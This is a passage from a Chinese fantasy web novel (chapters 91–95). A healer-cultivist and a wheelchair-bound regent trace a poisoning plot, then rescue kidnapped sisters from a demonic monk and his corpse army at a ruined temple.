“缚魂藤十年才生三寸,南疆巫医视若命根,采摘时需以鲜血浇灌方能保其药效。寻常药铺莫说备货,连见都未必见过,更遑论抓错 —— 这分明是有人蓄意为之!” 王虎攥着刀柄的手青筋暴起:"为何要用在我夫人身上?" 慕容浅冷笑一声,银簪在药渣中快速翻搅,几缕暗红细丝若隐若现:"胎儿乃是至阳至纯之体,以其精血为引,能让魂契术的效力倍增。刘氏腹中胎儿生机渐弱,正是因为魂魄正被这邪物一点点抽离。。。。。。" 王虎猛地抽出腰间长刀,刀锋出鞘的寒光映得满室皆寒:“我这就去砸了回春堂!” 铁甲碰撞声中,他转身欲冲出门,却被慕容浅伸手拦住。她素白的衣袖拂过刀锋,语气冷静如淬了冰:“将军此刻去,正中对方下怀。回春堂若敢用缚魂藤害人,岂会留着把柄等你上门?” “再说缚魂藤需配合道门秘术方能发挥效力,能在京城动用此物的,绝非寻常郎中。” 她指尖划过银簪上未消的幽蓝痕迹,目光如炬,“回春堂内必有精通邪术之人坐镇,你贸然闯入,非但寻不到证据,反倒会打草惊蛇。那些藏在暗处的人既能对怀胎妇人下手,难保不会设下更凶险的杀招。” 她静思片刻,“还是由我先去打探一番,若真有古怪,我也有自保之力。” 裴子慕瞥向窗外渐浓的暮色,月光爬上屋檐的角兽,在地上投出狰狞黑影。 “近日天色已晚,明日一早,我与慕容姑娘同去。” 他抬手轻叩轮椅扶手,金属撞击声清脆如金石。 “本王在此,无人能动姑娘分毫。” 慕容浅收回银针,目光扫过王虎紧绷的下颌线:“将军且安心守着夫人。明日我们定会查个水落石出。” 马车碾过青石板的声响忽远忽近,裴子慕伸手拨开半掩的车帘,望着宫墙方向沉沉暮色,喉间溢出一声低叹:“南疆地势复杂,瘴气横行,那些蛮夷之族向来不服教化。” 他指尖无意识摩挲轮椅扶手,螭纹在月光下泛着冷光,“近来密报称,他们的部族首领频繁往来,似有结盟之意。” 慕容浅手中的青铜铃铛轻轻摇晃,清脆声响混着夜风传来。 她抬眸看向裴子慕,见他神色凝重,玄色衣袍下隐隐透出肃杀之气。 “偏偏镇守南疆的,是太子的外祖父 —— 皇后之父。” 裴子慕声音陡然压低,眼中闪过一抹冷芒,“虽说他手握重兵,多年来也算恪尽职守,但圣上年事已高,又生性多疑,太子之位并不稳固。” 车外更鼓骤然响起,惊起树梢寒鸦。 慕容浅心中一凛,突然意识到这看似寻常的巫蛊案,背后或许牵扯着朝堂最敏感的权力脉络。 “你是说这缚魂藤有可能牵涉到朝堂之争?” 第91章 失踪 裴子慕轻皱眉,“虽然目前还没有证据,但我的直觉事情不是那么简单,不过那缚魂藤若真是从南疆而来……” 他顿了顿,嘴角勾起一抹森冷笑意,“本王倒要看看,究竟是谁在搅动风云。” 月光如霜,透过雕花车帘的缝隙斜斜切进车厢,在裴子慕棱角分明的面容上镀了层冷银。 他忽然抬眼,眼尾上挑的弧度漫不经心,却有两簇暗火在墨色瞳孔深处跳跃。 玄色衣袍上暗绣的蟒纹随着动作若隐若现,宛如蛰伏的凶兽在月光下舒展筋骨。 慕容浅望着那张被月色割裂成明暗两半的脸,忽然想起坊间传闻 —— 这位摄政王十五岁掌兵符,在漠北雪原上横刀立马,杀得敌军十年不敢犯境;二十岁入主中枢,谈笑间扳倒三位权重老臣,连圣上面前都敢直言 “若政令有误,臣宁抗旨不遵”。 此刻他眼尾微挑,嘴角勾起的弧度带着与生俱来的倨傲,仿佛全天下的阴谋算计,在他眼中都不过是孩童把戏。 马车停在侯府角门时,慕容浅利落起身,青铜铃铛随着动作轻晃。 裴子慕抬手示意她稍等,玄色衣袖拂过轮椅暗格,取出一串缠着金丝的紫檀木手串。 深褐色的木珠表面泛着温润光泽,隐约可见细密的朱砂纹路蜿蜒其上。 “这是西域进贡的千年紫檀,内里嵌了朱砂。” 他将手串递过去时,指尖擦过慕容浅掌心,温度转瞬即逝,“修道之人佩戴,可凝神静气,辅助修炼。” 见她面露疑惑,裴子慕又补充道:“就当是你为我调理腿疾的诊金,总不能让慕容姑娘白白辛苦。” 慕容浅刚要开口推辞,裴子慕已将紫檀朱砂手串轻轻搁在她掌心,指腹不经意擦过她的指尖,带着若有似无的温度。 “本王从不欠人情。” 他靠在轮椅上,玄色衣袍下暗绣的蟒纹随着动作若隐若现,眼尾微挑,带着不容置疑的强势。 “我认识的修道之人就你一个,若你不收,” 他顿了顿,“难不成要本王把这东西丢去护城河里?” 慕容浅望着手中的手串,檀木混着朱砂的气息萦绕鼻尖,竟莫名让人安心。 “不过是件小玩意儿,” 他漫不经心地垂下眼,声音却带着不易察觉的期待,“若慕容姑娘觉得无功不受禄,日后替本王多扎几针便是。” 夜风卷着槐花香气钻进车厢,慕容浅犹豫片刻,终是将手串绕在腕间。 檀木珠贴着皮肤,传来细密的暖意。 慕容浅摩挲着手串上的朱砂纹路,心跳莫名加快。远处更鼓传来,她甩了甩头,将这些异样情绪抛在脑后 —— 不过是寻常诊金罢了,她这样告诉自己,却不自觉又握紧了还残留着檀木香气的手腕。 侯府大门已到,裴子慕抬手打起车帘,目光掠过慕容浅腕间紫檀手串,唇角勾起一抹极浅的弧度:“今日奔波劳神,慕容姑娘早些歇息。” 他的声音裹着夜色的凉,却又带着几分烫人的温度,像是冬日里的陈酿,醇厚得能醉人心神。 “明日卯时三刻,我来接你。” 慕容浅站在角门前,目送马车渐行渐远。 一弯新月悬在黛色天际,晚风卷着槐花香气掠过耳畔,将裴子慕临别时的话音也揉碎了送过来。 她摸了摸发烫的耳垂,望着空荡荡的长街,忽然觉得今晚的月光格外清亮,连远处更夫的梆子声都变得缱绻起来。 腕间的紫檀珠串随着动作轻碰,朱砂纹路在月光下流转,似有若无的香气萦绕鼻尖,无端让人心头泛起涟漪。 慕容浅刚踏过垂花门,便听见堂屋内传来瓷器碎裂的脆响。 廊下丫鬟们瑟缩着靠墙站成一排,烛火在她们惨白的脸上明明灭灭。 “废物!全都是废物!” 秦氏猩红的指甲狠狠指着管家,赤金镶宝石的护甲擦过对方眉骨,划出一道血痕。 她身上的赤金绣裙沾着茶渍,发髻上的流苏随着剧烈动作晃得人眼晕,“笙儿要是丢了,你们全都去填护城河!” 话音未落,又抓起案上的青瓷茶盏狠狠摔在地上。 葛氏却扶着雕花门框,脸色白得近乎透明。 她见到慕容浅仿佛见到了救命的稻草,拉住她不住往她身后张望,“浅丫头,你回来了!玉儿、雪儿呢?怎么没跟你一起回来?” 秦氏声音尖利,“就惦记你的两个女儿,笙儿到现在也是不见踪影!” 她几步冲上前,艳丽的妆容因扭曲的表情显得狰狞,“慕容浅!你到底怎么回事,今天早上你们四个人一起出门,怎么现在就你一个人回来?笙儿呢?你把她弄哪儿去了?” 雕花木门被猛地撞开,侯爷慕容延大步踏入堂内,玄色锦袍下摆沾满泥污。 他面沉似水,剑眉拧成深壑,眼底翻涌着令人胆寒的怒意。 “老爷!” 秦氏踉跄着扑上前,艳丽的裙摆扫过满地狼藉,“找到笙儿她们了吗?” “从公主府到侯府,沿途都寻遍了!没找到人!” 侯爷一记重掌拍在檀木桌上,震得烛火剧烈摇晃,烛泪顺着盘龙烛台蜿蜒而下。 “倒是有人在城西桃花巷拾到了玉儿的双鱼玉佩!” 他将染着血的玉佩掷到桌子上,玉佩上拴着一条帕子,上面是鲜血写的两个字:救命。 葛氏猛地捂住嘴,泪水夺眶而出,整个人摇摇欲坠。 她踉跄着扶住身旁的丫鬟,声音颤抖得不成样子:“是……是玉儿的玉佩,是玉儿生辰时, 我亲手给她戴上的。” 秦氏的脸色瞬间变得惨白,双腿一软跌坐在地。 慕容浅拾起玉佩,指尖抚过双鱼交缠的纹路,冰凉的触感让她心头一颤。 她攥紧玉佩,抬头望向慕容延:“今日从公主府出来后,我与摄政王同去探视镇北军将领,王爷特意安排王府护卫护送三位妹妹回府,按理说不该出意外!” 秦氏猩红的指甲几乎戳到慕容浅面门,艳丽的妆容因扭曲的表情显得狰狞可怖:“什么叫按理不会出意外?!现在人都找不到了!” 她扯着嗓子尖叫,发髻上的东珠流苏随着剧烈动作疯狂摇晃,“笙儿若是出了什么事,我不会和你善罢甘休的!” 第92章 怪鸟 葛氏瘫坐在冰凉的青砖地上,襦裙沾满尘土,泪水在脸上蜿蜒出痕迹。 她颤抖着伸手去抓双鱼玉佩,指尖几次都抓空:“三个年轻姑娘家,就这么不见了…… 要是遇到了歹人可怎么办?” 哽咽让她的声音断断续续,“雪儿最怕黑,玉儿胆子小……她们该多害怕……” 她 忽然掩面痛哭起来,单薄的肩膀剧烈起伏,看得人心头发颤。 慕容浅望着玉佩上干涸的暗红血迹,腰间青铜铃铛突然发出尖锐嗡鸣,与秦氏的哭喊、葛氏的抽噎,混着侯爷摔碎茶盏的巨响,在夜色里织成一张令人窒息的网。 烛火突然剧烈摇曳,一道黑影裹挟着腥风破窗而入。 众人惊呼声中,一只通体漆黑、羽毛泛着诡异幽蓝光泽的怪鸟扑棱着翅膀悬在半空,尖锐的爪子几乎擦过秦氏的发髻。 “啊!” 秦氏踉跄后退,撞翻了身后的花架。 那怪鸟却桀桀怪笑,声音沙哑刺耳,宛如指甲刮过铜镜。 它松开口中叼着的物件,珍珠镶就的并蒂莲珠花 “啪嗒” 坠地。 “笙儿的珠花!” 秦氏突然疯了般扑过去,裙摆扫翻满地瓷片。 她颤抖着捧起珠花,扭头看向慕容延:“这是笙儿早上出门的时候戴的!” 她猛地抬头,眼神猩红如血,死死盯着怪鸟,“你把我女儿藏哪了?!” 怪鸟歪着头,眼中闪过讥讽的幽光,理都不理她,只是看着慕容浅,口吐人言。 “慕容浅,若想救你妹妹们,就随我来。” 它发出一串刺耳的尖笑,扑扇着翅膀冲向夜色。 慕容浅腰间的青铜铃铛疯狂震颤,与那怪鸟的怪笑声交织成诡异的旋律,在死寂的堂屋内回荡。 侯爷突然抽出腰间佩剑,寒芒划破夜幕:“拦住它!” 然而怪鸟速度极快,眨眼间便消失在浓重的夜色中,只留下满室惊魂未定的众人,和秦氏撕心裂肺的哭喊声。 慕容浅已捏诀踏风而起,她脚尖点过雕花窗棂时,瞥见秦氏抱着珠花瘫坐在地,葛氏的哭喊声混着侯爷拔剑的清响砸进耳中。 指尖掠过腕间紫檀手串,朱砂纹路在夜色里泛着温热。 她猛地转头望向呆立的小桃:“速去摄政王府!请王爷派援兵……” 话未说完,怪鸟已在三丈外的槐树上发出桀桀怪叫,尾羽上的幽蓝荧光明灭如鬼火。 慕容浅咬牙提气,青铜铃铛在腰间撞出急促的脆响,话音消散在夜风里,她的身影已追着那团黑影没入巷口。 小桃攥紧衣角的手满是冷汗,眼睁睁看着自家小姐的白裙消失在夜色中。 “是!小姐!” 她猛地转身,绣鞋在青砖上打滑,跌跌撞撞往马厩跑去。 发丝散落眼前,她却不敢停下,只想着王爷今日送小姐回来时的模样。 只有他能救小姐,只有他…… “还愣着干什么!” 侯爷的怒吼震得梁上灰尘簌簌落下。 他腰间佩剑出鞘半截,寒光映着他铁青的脸,“所有人举着火把,跟着大小姐!” 秦氏瘫坐在地,死死攥着女儿的珠花,葛氏哭得几近昏厥,被丫鬟半架着往前挪。 慕容浅追着怪鸟疾行,靴底踏碎满地霜叶。 夜色浓稠如墨,山风裹挟着腐朽气息扑面而来,远处山影轮廓扭曲,像巨兽蛰伏在黑暗中。 怪鸟的幽蓝尾羽划破夜幕,如鬼火般引着她穿过城门。 远处山巅,护国寺的飞檐在月光下泛着冷芒,这座平日里游人如织、钟声不绝的上京第一大寺,此刻却像座被抽走魂魄的空壳。 青石板阶上,残留的香烛灰烬被风吹得簌簌扬起,混着暗红血渍一路延伸至朱漆山门。 "护国禅寺" 四个描金大字蒙着层灰,匾额下悬挂的祈福红绸在风中翻飞,发出凄厉的哗哗声。 月光将寺前的景象照得惨白,侯府那辆马车歪歪斜斜地停在古槐树下,车帘半垂,车轮上还沾着新鲜的泥土和草屑,显然是匆忙间停下的。 两匹马瘫倒在地,脖颈处布满狰狞的爪痕,殷红的血正顺着石板缝隙缓缓流淌。 碎石路上,凌乱的足迹交错纵横。 绣鞋印、皂靴印,还有拖拽重物留下的划痕,全部指向漆黑的寺门。 慕容浅按住腰间震颤的青铜铃铛,指尖刚触到冰凉的门环,便觉寒意顺着血脉直窜天灵盖。 寺门轰然洞开,惊起满地枯叶。 本该香火鼎盛的天王殿死寂沉沉,四大金刚的怒目神像蒙着蛛网。 穿过中庭,大雄宝殿的三十六尊金身罗汉在月光下泛着诡异的青芒,本该慈悲的面容扭曲变形,说不出的阴森恐怖。 更诡异的是,往日里穿梭于回廊间的数百僧人不见踪影。 佛幡低垂,烛台倾倒,满地都是打翻的供品,浓稠的血迹顺着莲花砖缝蜿蜒,在药师佛座下汇成小小血泊。 慕容浅踩过黏腻的地面,靴底发出令人牙酸的声响。。 整座寺庙寂静得可怕,不见一丝烛火,唯有檐角铜铃在风中发出断断续续的呜咽,仿佛有人在低声啜泣。 门里的空气浑浊,渗出丝丝黑雾,带着浓重的臭味。 慕容浅轻轻一嗅就脸色大变,这臭味分明是尸臭。 她猛地后退半步,袖中银针已经握在掌心。 就在这时,寺内突然传来一声凄厉的惨叫,紧接着是重物倒地的闷响,打破了令人窒息的寂静。 怪鸟立在残破的飞檐上,发出刺耳的怪笑:“进来啊,你妹妹们可都等着呢!” 它翅膀一拍,幽蓝尾羽划过半空,没入寺庙深处。 慕容浅深吸一口气,念动真言,周身泛起淡淡金光,这才缓缓走入寺门。 门后景象让她瞳孔骤缩:满地散落着残破的袈裟,干涸的血迹蜿蜒成诡异的图案。 几具僧人的尸体倒在血泊中,双眼圆睁,面容扭曲,脖颈处有两个可怖的血洞,显然是被吸干了精血。 一阵微弱的呜咽声突然从门缝渗出,像垂死之人的气若游丝。 慕容浅浑身紧绷,青铜铃铛发出细微震颤,顺着声响疾步绕过大雄宝殿的侧廊。 腐臭混着血腥味扑面而来,月光透过残破的窗棂,在地面投下斑驳血影。 第93章 住持 “吱呀 ——” 雕花木门被推开的瞬间,浓重的血腥气几乎将人呛住。 蒲团间横七竖八倒着数十具尸骨,有的脖颈断裂,有的胸口被洞穿,月光透过破碎的窗棂洒落,映得满地惨白的眼珠泛着幽幽冷光。 每具尸体都保持着扭曲的姿势,双眼圆睁,嘴角大张,露出森白的牙齿,仿佛在临死前发出无声的惨叫。 无数灰白的眼珠直直地盯着殿门,无论慕容浅走到哪里,都感觉被无数怨毒的目光死死锁住。 “施主……” 气若游丝的呻吟从角落传来。 慕容浅循声望去,一位白发老僧半倚在残破的蒲团上,浑浊的眼珠里满是恐惧。 金红色袈裟浸透黑血,金线绣制的祥云纹被血渍晕染得狰狞可怖,看袈裟的制式和念珠,应该是护国寺的住持。 “施主小心……” 气若游丝的呢喃惊得她浑身一颤。 老住持凹陷的眼窝里浮着层浑浊白翳,枯枝般的手指在青砖上拖出蜿蜒血痕。 “广海……广慈……那对师兄弟一年前入寺。” 老人剧烈咳嗽,黑血顺着嘴角滴落,在袈裟上晕开新的血渍:“起初他们日日闭关诵经,我只当是苦修。。。 却不知他们暗中修炼邪术,还在后山豢养那些硕鼠!” 老住持浑浊的眼球里泛起泪光,声音哽咽得破碎:“等到我们察觉到的时候,广海的邪术已经大成,他用全寺僧人性命威胁我,若是揭发就要血洗护国寺!我师弟想阻止他们,却被生生扯出魂魄……” “三日前广海突然大开杀戒,杀了不少僧人,我带着剩余僧人逃往后殿,可广海却封住了所有出口……” 他突然剧烈抽搐,嘴角溢出白沫:“他……他还虏来几个女孩子,就……就在……” 老住持双手死死揪住袈裟领口,青筋暴起的脖颈剧烈抽搐,喉间发出拉风箱般的喘息:“我……我好痛……” 他浑浊的眼珠向上翻白,嘴角溢出黑血,整个人蜷缩成虾米状,袈裟被抓得皱成一团。 慕容浅心头一紧,疾步上前托住老住持佝偻的脊背。 指尖刚触到对方皮肤,寒意顺着掌心蔓延 , 本该温热的躯体,竟透着冰窖般的冷意。 她顾不上多想,袖中银针 “唰” 地飞出,直取对方灵台、气海等几处大穴:“住持挺住!那三位姑娘究竟在哪里?” 针尖触及皮肤的刹那,慕容浅瞳孔骤缩。 看似枯槁的皮肉竟硬如玄铁,银针发出刺耳的金属碰撞声,在月光下迸出火星。 老住持抽搐的动作戛然而止,喉间的喘息声也彻底消失。 当他缓缓抬头时,浑浊的眼珠已泛起妖异的幽蓝,嘴角裂开不自然的弧度,露出森白獠牙:“小丫头,你上当了。” 剧痛如毒蛇般缠住慕容浅的腰腹,她低头时正见老住持枯瘦的手指紧扣匕首木柄,刃身已完全没入小腹。 温热的血顺着衣料蜿蜒而下,在青砖上晕开狰狞的花。 "你!" 慕容浅怒喝一声,周身玄力如潮水般轰然炸开。 她猛地挥袖,罡风裹着青铜铃铛的清鸣呼啸而出。 老住持惨叫着倒飞出去,撞在立柱上时咳出大口黑血,歪斜的嘴角却扯出癫狂的笑:"我杀了她!广海!我已完成任务!你答应放我走的! " 他手脚并用在地上爬动,袈裟下暴露出的皮肤正以肉眼可见的速度皲裂,渗出腥臭的黑液。 殿内空气骤然凝固,一声撕裂夜色的怪笑自穹顶炸开。 慕容浅膝盖重重磕在青砖上,温热的血顺着指缝不断渗出。 只见一道黑影裹挟着腥风从天而降,重重踏在释迦牟尼佛像的头顶。 先前引她至此的怪鸟扑棱着幽蓝羽翼飞来,尖喙亲昵地蹭过黑影的脸颊。 莲花座在重压下轰然龟裂,碎石混着金粉簌簌坠落。 那是一个身形枯瘦如柴的怪僧,周身缠绕着漆黑雾气,隐约可见溃烂的半边面孔泛着青灰。 青灰色僧袍下隐约可见嶙峋骨架,溃烂的右半边身体不断渗出黑紫色黏液,将肩头布料腐蚀出密密麻麻的孔洞。 老住持吐着黑血,四肢勉强挪动朝广海爬去:“广海…… 我已按你吩咐重伤了她……求您……求你信守承诺放了我……” 他染血的手指刚触到广海的袍角,便被一脚踩住手腕,指骨碎裂的脆响在死寂的殿内格外刺耳。 “放了你?” 广海发出夜枭般的怪笑,溃烂的右脸抽搐着,“你以为本座会留着知晓秘密的废物?你还是去陪你这些弟子们吧!” 黑雾如毒蛇缠住老住持脖颈,将他凌空提起。 老住持双目暴突,喉间发出咯咯的窒息声,周身皮肤以肉眼可见的速度干瘪下去,青灰色的尸斑顺着血管蔓延至整张面孔。 随着精血被疯狂抽取,老住持瞬间化作一具枯槁干尸,重重摔落在地。 广海贪婪地长吸一口气,溃烂的右脸竟以惊人的速度愈合,新生的皮肉泛着诡异的粉红色。 他舔去嘴角溢出的血珠,发出满足的呻吟:“本座觉得好一点了……” “再加上你的纯阳灵脉,本座的伤一定能彻底恢复!” 沙哑的嘶吼中带着金属刮擦般的刺耳,怪僧缓缓转头。 仅剩的左眼却如毒蛇般阴鸷,死死钉在她小腹的伤口上。 慕容浅撑着染血的衣襟勉力起身,指尖捏诀抵住小腹伤口,鲜血顺着腕间紫檀手串蜿蜒而下。 她抬起头,目光如利剑般刺向怪僧:“广海!你私练禁术,魂魄离体妄图附身活人谋害于我,如今遭术法反噬落得这副鬼样子,完全是咎由自取!” 怪僧闻言暴跳如雷,溃烂的右半边身体剧烈抽搐,黑紫色黏液顺着袍角不断滴落。 “住口!若不是你坏我好事,我怎会落得如此田地!今日,我定要抽你的筋,喝你的血,用你的纯阳灵脉重塑肉身!” 他周身黑雾翻涌,化作无数狰狞的鬼手,朝着慕容浅扑杀而来。 刹那间,满地僧人的尸体突然剧烈抽搐,原本死寂的眼珠泛起浑浊青光,僵硬的关节发出令人牙酸的 “咔咔” 声响。 第94章 活尸 最先起身的僧人喉间发出野兽般的嘶吼,脖颈以违背常理的角度扭转,露出锁骨处深可见骨的咬痕。 他腐臭的手掌擦着慕容浅耳畔抓过,指甲缝里还嵌着干涸的血肉。 紧接着,更多尸体如同提线木偶般直立而起,破损的僧袍下渗出黑紫色尸液,整齐划一地朝着她步步逼近。 “尝尝被撕成碎片的滋味吧!” 广海扭曲的脸上裂开可怖的笑容,操控着尸群将慕容浅围得水泄不通。 慕容浅银牙紧咬,袖中寒芒骤闪,道剑如游龙般割裂空气。 剑锋所过之处,腐肉飞溅,一具具活尸被斩断脖颈、劈碎胸骨,黑紫色的尸液溅在她染血的衣襟上,发出 “滋滋” 的腐蚀声响。 她旋身挥剑,在尸群中撕开一道缺口,可后方的活尸却踩着同伴残骸,如潮水般继续涌来。 广海癫狂的笑声在殿内回荡:“挣扎吧!耗尽灵力,就是你的死期!” 慕容浅喘息着后退,后背抵住冰凉的殿柱。 看着四面八方围拢的活尸,她深吸一口气,猛地盘膝坐下。双手如蝶翼翻飞,快速掐出法诀,口中念念有词:“乾坤借法,灵光现!” 刹那间,璀璨的金色光芒从她周身迸发,形成一道巨大的灵光罩,将蜂拥而至的活尸震退数步。 活尸们撞上光罩,发出凄厉的惨叫,皮肉在金光中冒着青烟,渐渐化作一滩腥臭的血水。 慕容浅的灵光罩在活尸的撞击下剧烈震颤,金芒如同被狂风撕扯的绸缎,不断泛起细碎的涟漪。 她咬着下唇,额头青筋暴起,双手掐诀的速度越来越快,可涌出的灵力却如将尽的油灯,愈发微弱。 广海见状,脸上浮现出阴鸷的狞笑。 他猛然咬破舌尖,一口黑血喷向空中,在空中化作一张狰狞的血网。 “给我上!” 随着他一声厉喝,那些原本已经被金光灼伤的活尸突然发出刺耳的尖啸。 它们的身体开始扭曲变形,皮肤下凸起条条青筋,如同无数条蚯蚓在蠕动。 指甲疯长,变成半尺长的利爪,闪烁着幽蓝的毒光。 溃烂的伤口中更是不断涌出黑色的黏液,所到之处,青砖瞬间被腐蚀出深坑。 变异后的活尸们眼中泛起疯狂的红光,悍不畏死地扑向灵光罩。 它们用利爪抓挠,用牙齿啃咬,甚至不惜自爆身体。 每一次撞击,都让灵光罩的金芒黯淡几分。 黑紫色的尸液顺着罩壁缓缓流淌,将金光腐蚀出细小的孔洞,活尸们利爪抓挠的声响,如同死神的丧钟在耳边回荡。 她的灵力几乎枯竭,小腹的伤口仍在汩汩渗血,每一次呼吸都伴随着钻心的疼痛。 "终究还是小瞧了人心的险恶。。。" 她喃喃自语,满心皆是懊悔。 若不是轻信了老住持濒死的谎言,又怎会被偷袭得手? 如今身陷绝境,才明白这世间比妖邪更可怕的,是藏在慈悲表象下的恶意。 意识渐渐模糊,记忆却愈发清晰。 她仿佛又回到了青山观的月夜,清辉洒在古松间,师兄弟们的笑语犹在耳畔。 那时的修炼岁月,纯粹而安宁,哪有这般惊心动魄的生死危机? 裴子慕送她回侯府的场景也浮现眼前,他坐在轮椅上,眼神温柔而坚定,轻声承诺:"明日,我来接你。" 可如今,破碎的灵光罩外,广海正露出贪婪的狞笑,活尸们的嘶吼声震耳欲聋。 她怕是再也等不到那个约定的时辰了。 活尸群层层叠叠扑来,腐烂的手掌在光罩表面抓挠出密密麻麻的白痕,腥臭尸液顺着裂痕缓缓渗入。 小腹伤口处的血如泉涌,染红了身下青砖,她每一次呼吸都带着刺痛,灵力近乎枯竭,眼前黑影不断晃动,意识在崩溃边缘摇摇欲坠。 她知道,这道灵光罩撑不了多久了,而广海那充满恶意的目光,正透过不断变薄的金光,死死地盯着她,如同看着一只待宰的羔羊。 千钧一发之际,护国寺朱漆山门轰然炸裂! 飞散的木屑中,裴子慕端坐在轮椅上,双眼迸射冷芒。 他的发在夜风中狂舞,玄色披风猎猎作响,仿佛一尊从地狱归来的修罗。 轮椅两侧架着寒光凛凛的长枪,枪杆上还凝结着未干的暗红血迹。 "随本王冲!" 三百铁骑如黑色洪流碾碎门槛,马蹄声震得地面发颤。 这些从北境战场浴血归来的将士,铠甲上沾着北疆蛮夷的血,刀刃豁口处泛着寒光。 他们周身萦绕着浓稠如实质的杀气,那是历经百场血战、手刃万千敌寇才淬炼出的修罗之气,竟让逼近的活尸们齐齐僵在原地,空洞的眼窝里流露出本能的恐惧。 裴子慕猛地推动轮椅,玄铁与青砖摩擦出耀眼火花。 他单手握住长枪横扫,枪风过处,活尸们的头颅如西瓜般爆裂,黑紫色脑浆溅满墙壁。 王虎挥舞着厚重的斩马刀,刀锋劈开空气发出令人牙酸的尖啸,将僧人模样的活尸连人带袈裟劈成两半。 镇北军齐声怒吼:"镇北!镇北!" 声浪如滚滚惊雷,震得殿内烛火尽灭,梁柱上的金漆大片剥落。 广海见状面色骤变,溃烂的右脸抽搐不止:"凡夫俗子也敢坏我好事!" 他怒目圆睁,口中念念有词,双手翻飞接连结印。 刹那间,整座护国寺被浓稠如墨的黑雾笼罩,能见度不足三尺。 雾气中传来阵阵阴森的鬼哭狼嚎,隐隐绰绰间,无数青面獠牙的鬼物张牙舞爪地显现。 它们或缺胳膊少腿,或七窍流血,形态各异却都散发着令人作呕的腐臭气息。 “就凭你们,能抵挡得住这万千阴魂?” 广海癫狂的笑声在雾中回荡,充满了挑衅与得意。 然而,镇北军将士们目光如炬,眼神中没有丝毫惧意。 裴子慕端坐在玄铁轮椅上,墨发在夜风中飞扬,眼神坚定如磐石。 他握紧手中长枪,大喝一声:“镇北军听令,随我冲!” 三百铁骑齐声怒吼,如黑色洪流般冲进迷雾。 他们身披的铠甲在月光下泛着冷光,手中兵器更是杀气腾腾。 第95章 人质 那些看似可怖的鬼物,在与镇北军接触的瞬间,竟如冰雪遇到烈日,纷纷消散,只留下一缕缕青烟。 原来这些都是广海用邪术制造的幻象,企图扰乱军心。 但镇北军在尸山血海中摸爬滚打多年,心智早已坚如钢铁。 他们心中只有一个信念 —— 保护主帅,救出慕容姑娘。 任凭四周幻象如何变幻,将士们始终紧跟裴子慕,一往无前。 每一次策马冲锋,每一次兵器挥舞,将广海精心布置的幻象阵冲得七零八落。 见镇北军将士们竟然不受影响,广海周身黑雾暴涨,试图凝聚更多活尸。 裴子慕却冷笑一声,轮椅如离弦之箭冲向广海,长枪甩出一道寒芒:"邪祟之辈,拿命来!" 三百镇北军将士同时挺枪刺出,他们身上的杀气汇聚成一道猩红匹练,直直撞向广海的黑雾大阵。 所过之处,活尸们发出凄厉惨叫,成片化作血水。 随着镇北军的长枪横扫,最后一具活尸在惨叫声中化作腥臭血水。 慕容浅紧绷的神经骤然松懈,灵光罩如破碎的琉璃般消散,她身子一晃,险些栽倒在地。 “小心!” 玄铁轮椅急刹在她身侧,裴子慕探出的手臂稳稳扶住她纤细的腰肢。 眸光触及她染血的小腹,瞬间冷得刺骨,指节因用力而泛白。 他毫不犹豫地扯开腰间的白玉药瓶,倒出一枚流转着淡金色光晕的丹药:“含在舌下,别咽!” 慕容浅强撑着最后一丝清明,指尖迅速点向腹部几处大穴。 丹药流入口中的刹那,温热的药力驱散了几分剧痛。 她咬牙扯下裙摆,雪白的绸缎染上暗红血渍,颤抖着缠绕在伤口处。 裴子慕默不作声地按住她颤抖的手,骨节分明的手指接过布条,动作利落却又格外轻柔,每一圈缠绕都带着小心翼翼的力道。 “无碍。” 慕容浅苍白的唇扯出一抹笑,却被裴子慕骤然收紧的掌心打断。 他的呼吸声明显加重,看着她浸透鲜血的指尖,眼中翻涌着令人心悸的暗芒。 —— 那抹血色,刺痛了他久经沙场却从未如此慌乱的心。 广海大袖一甩,三个纤细的身影跌到大殿上。 慕容笙双腿发软,瘫坐在地,华丽的裙摆沾满泥污,她涕泪横流,声嘶力竭地哭喊:“救我!救我啊!你们不能见死不救!我爹是侯爷!” 她不断蹬着双腿往后缩,发髻散落,金钗歪斜,平日的端庄优雅荡然无存。 慕容玉虽然脸色惨白如纸,身子也在止不住地颤抖,但她还是强撑着站起身,将年幼的慕容雪护在身后。 她紧咬下唇,咬得渗出血来,指甲深深掐进掌心,声音发颤却坚定:“别怕,有姐姐在。” 她的目光扫过满地的尸骸和阴森的广海,眼中恐惧与倔强交织,像是在给自己打气,又像是在安慰身后的妹妹。 慕容雪却挺直了脊背,虽然小脸吓得毫无血色,睫毛上还挂着泪珠,但她握紧了拳头,强忍着不哭出声。 她盯着广海的眼神中带着恨意,小小的身体微微颤抖,却倔强地昂着头,不肯在敌人面前示弱。她轻声说道:“姐姐,我不怕,我们一定能活着出去的。” 广海溃烂的右脸青筋暴起,他突然仰天发出尖锐的嘶吼,双掌结出诡异印诀,口中念念有词。 刹那间,地上所有的活尸剧烈抽搐起来,皮肤下的血管如同蚯蚓般疯狂蠕动,黑紫色的精血顺着他们的七窍汩汩流出,在空中凝成一道猩红血柱,涌入广海掌心。 广海贪婪地吸纳着最后一缕活尸精血,原本溃烂的皮肉以肉眼可见的速度愈合,枯槁的身躯重新变得壮硕。 他周身缠绕着漆黑如墨的魔气,双眼泛着猩红的凶光,整个人散发着令人窒息的压迫感。 “好啊,好得很!” 广海咬牙切齿地盯着慕容浅和裴子慕,声音里充满了怨毒,“都是你们逼我的!逼我使出天魔解体大法!这笔账,我迟早要跟你们清算!” 他猛然伸手,如铁钳般扣住慕容玉和慕容雪的肩膀,另一只手掐住瘫软在地的慕容笙的脖颈,三个姑娘顿时脸色涨红,拼命挣扎。 “现在,让开!放我离开!” 广海恶狠狠地咆哮,“否则,我立刻拧断这三个小丫头的脖子!” 慕容雪眼中泛起泪花,却倔强地瞪着广海,慕容玉强撑着意识,用目光向慕容浅求救,慕容笙早已吓得涕泪横流,双腿不住地颤抖。 镇北军将士们握紧兵器,将裴子慕和慕容浅牢牢护在中央,却不敢轻举妄动。 裴子慕坐在轮椅上,脸色阴沉如水,手中长枪攥得咯吱作响。 慕容浅捂着小腹的伤口,指甲深深掐进掌心。 她强撑着剧痛,侧身靠近裴子木的轮椅“天魔解体大法虽能回光返照,却只能维持一个时辰。” 她的温热的呼吸拂过他耳畔:“拖延时间,等他时间一过……” 裴子慕垂眸望向她染血的指尖,喉结微微滚动。 两人目光相撞的刹那,无需多言,已达成默契。 慕容浅缓步向前,目光死死锁住广海:“我怎么相信放了你之后你不会杀了她们?” 广海狞笑,“你没得选,只能相信我,不然我先杀一个给你看看!” 